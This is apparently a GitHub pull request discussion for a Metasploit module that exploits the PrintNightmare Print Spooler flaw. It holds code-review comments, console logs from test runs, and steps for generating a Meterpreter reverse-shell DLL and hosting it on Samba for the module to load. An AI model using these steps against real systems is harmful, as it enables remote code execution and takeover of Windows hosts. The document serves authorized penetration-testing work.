Add Module For CVE-2021-1675 / CVE-2021-34527 AKA PrintNightmare #15385
Conversation
zeroSteiner
changed the title
|
Great work getting this in soon. |
|
Any way we can upgrade Metasploit to support SMB3? |
That's unfortunately no easy task. It's a project that's on our radar at the moment but we haven't committed to a timeline yet. It's highly unlikely that it'll be completed in the next couple of months. |
| error = errors.first | ||
| message << " #{error.name} (#{error.description})" | ||
| end | ||
| vprint_status(message) |
There was a problem hiding this comment.
Additional error handling needs to be performed here. If a user provides an inaccessible DLL_PATH, the module will fail with no message printed unless VERBOSE is enabled:
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > run
[*] Running module against 192.168.91.196
[*] 192.168.91.196:445 - Target environment: Windows v10.0.17763 (x64)
[*] 192.168.91.196:445 - Enumerating the installed printer drivers...
[*] Auxiliary module execution completed
With VERBOSE enabled, it looks like this:
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > run
[*] Running module against 192.168.91.196
[*] 192.168.91.196:445 - Target environment: Windows v10.0.17763 (x64)
[*] 192.168.91.196:445 - Binding to 12345678-1234-abcd-ef00-0123456789ab:1.0@ncacn_np:192.168.91.196[\spoolss] ...
[*] 192.168.91.196:445 - Bound to 12345678-1234-abcd-ef00-0123456789ab:1.0@ncacn_np:192.168.91.196[\spoolss] ...
[*] 192.168.91.196:445 - Enumerating the installed printer drivers...
[*] 192.168.91.196:445 - Using driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] 192.168.91.196:445 - Using directory: C:\Windows\system32\spool\DRIVERS\x64
[*] 192.168.91.196:445 - RpcAddPrinterDriverEx response 384
[*] 192.168.91.196:445 - RpcAddPrinterDriverEx response 3 ERROR_PATH_NOT_FOUND (The system cannot find the path specified.)
[*] 192.168.91.196:445 - RpcAddPrinterDriverEx response 3 ERROR_PATH_NOT_FOUND (The system cannot find the path specified.)
[*] 192.168.91.196:445 - RpcAddPrinterDriverEx response 3 ERROR_PATH_NOT_FOUND (The system cannot find the path specified.)
[*] Auxiliary module execution completed
There was a problem hiding this comment.
Well the error is handled in this case, there's no stack trace and the module continues to execute as normal. It probably makes sense though to print the error message even when VERBOSE is disabled.
There was a problem hiding this comment.
You're right, I just meant to make sure error messages like this are always printed.
|
@zeroSteiner I had some unexpected results while testing this, so I figured to share them here in case they may be of interest to you.
Here is my output with Exploitation against Microsoft Windows Server 2019 Standard Evaluation |
|
I can also confirm that reexploitation does not seem possible, at least within a short timeframe and possibly not until the target is rebooted, as is specified in the reliability note. This is my output of trying to rerun the module after popping a shell: If the response codes while attempting reexploitation are distinct and consistent, it may be possible to add a check to identify reexploitation attempts and inform users that this likely won't work. |
It actually seems that reexploitation is possible after killing the session. I was now able to reexploit the same host without rebooting after I killed the initial session: Reexploitation without rebooting the target |
documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md
Outdated
Show resolved
Hide resolved
documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md
Show resolved
Hide resolved
documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md
Outdated
Show resolved
Hide resolved
| [*] 192.168.159.96:445 - Error STATUS_PIPE_BROKEN (The pipe operation has failed because the other end of the pipe has been closed.) | ||
| [-] 192.168.159.96:445 - Error STATUS_PIPE_CLOSING (The specified named pipe is in the closing state.) | ||
| [-] 192.168.159.96:445 - Error STATUS_PIPE_CLOSING (The specified named pipe is in the closing state.) |
There was a problem hiding this comment.
Think this was discussed before but personally I do think these should be behind a verbose flag as it gives the false impression that something went wrong on the remote end and the exploit is going to fail. If you had a message before this explaining that some errors were going to occur in normal situations I might be inclined to keep this in here but right now my eyes are draw to this and my first thought is "oh shooooot thats not good", which is never a good feeling to give a pentester :D
| begin | ||
| response = rprn_call('RpcAddPrinterDriverEx', p_name: name, p_driver_container: container, dw_file_copy_flags: flags) | ||
| rescue RubySMB::Error::UnexpectedStatusCode => e | ||
| nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first |
There was a problem hiding this comment.
Assuming that no ret value could be found using find_by_retval, the result of calling this line will be be that nt_status is set to nil as .first will be called on an empty array, and this should be accounted for to avoid a crash on the following line.
|
Quick test shows this is working fine against a fresh Windows Server 2019 install: |
Release NotesA new module has been added to Metasploit to exploit PrintNightmare, aka CVE-2021-1675/CVE-2021-34527, a Remote Code Execution vulnerability in the Print Spooler service of Windows. Successful exploitation results in the ability to load and execute an attacker controlled DLL as the |
|
This could be improved by using the MSF::Exploit::Remote::SMB::Server::Share class to host the DLL rather than requiring samba to be setup outside of metasploit. |
|
|
This could be improved by using an SMB sharing service within metasploit once SMB3 sharing lands in ruby_smb 😊 |
|
Absolutely! |
|
There's an RFC for SMB3 server support if anyone that's interested wants to go and |
gwillcox-r7
added
the
rn-modules
|
how does this get into MSF? or how do i get it into MSF6 - just do an apt update? - i'd like to know the process. Can you just copy the ruby code into: /usr/share/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.rb |
Hey @BettyNutz if you are using the apt repository version of Metasploit, which seems to be the case, it can take a very long time before the packages will be updated to the current version, so apt update isn't going to do you any good for quite a while. If you want to use this module now, you have two options:
|
Pull requests are merged into the master branch. The master branch is released as a new point release every week. From there, package managers for various distros (ie, Kali) will eventually package the new release into a package available using the operating system package manager (ie, apt).
In this instance, yes, you can copy the module to whichever directory your Metasploit installation loads modules from. On kali that is |
|
lol fantastic timing @bcoles |
i couldn't see that raw button anywhere on this page so i just pulled the code from the last .rb code box that didnt say 'outdated'. ..added it to msf and did an update. all good thanks! - take it if i clone the metasploit-framework repository and manually run a git pull it will overwrite the copy of this CVE-2021-1675 / CVE-2021-34527 AKA PrintNightmare |
No idea what cve youre talking about it, but if there are conflicts during a |
@BettyNutz there is no raw button here because this is the page for the pull request that adds this module, not the module itself. To get to the actual module as it has been included in the framework, you need to go to the repo, and then navigate to |
This is a module to trigger a remote DLL load by abusing a vulnerability in the Print Spooler service. At this time because Metasploit's SMB server doesn't support SMB3, it's highly recommended to use an external SMB server like Samba that does in order to test newer targets like Server 2019. The module docs walk through the process of generating a payload DLL and then using this module to load it.
The necessary DCERPC stuff is defined in this module for now. This is because it should be over in RubySMB, but there are some pending improvements in rapid7/ruby_smb#168 that will affect this once they are landed. For the time being, keeping it in the module seems fine and I can move it to it's permanent home in RubySMB and update it at the same time. Storing it in the module for now allows both projects to move forward independently.
Verification
List the steps needed to make sure this thing works
msfconsoleuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmareRHOSTandDLL_PATHoptionsUDLL_PATHuse an x64 Meterpreter DLLuse payload/windows/x64/meterpreter/reverse_tcpto_handlerandgenerate -f dll -o /path/to/save/it.dllSamba Configuration
For your convenience, this is the section I used in the samba configuration to host the DLL with anonymous access.
Example Output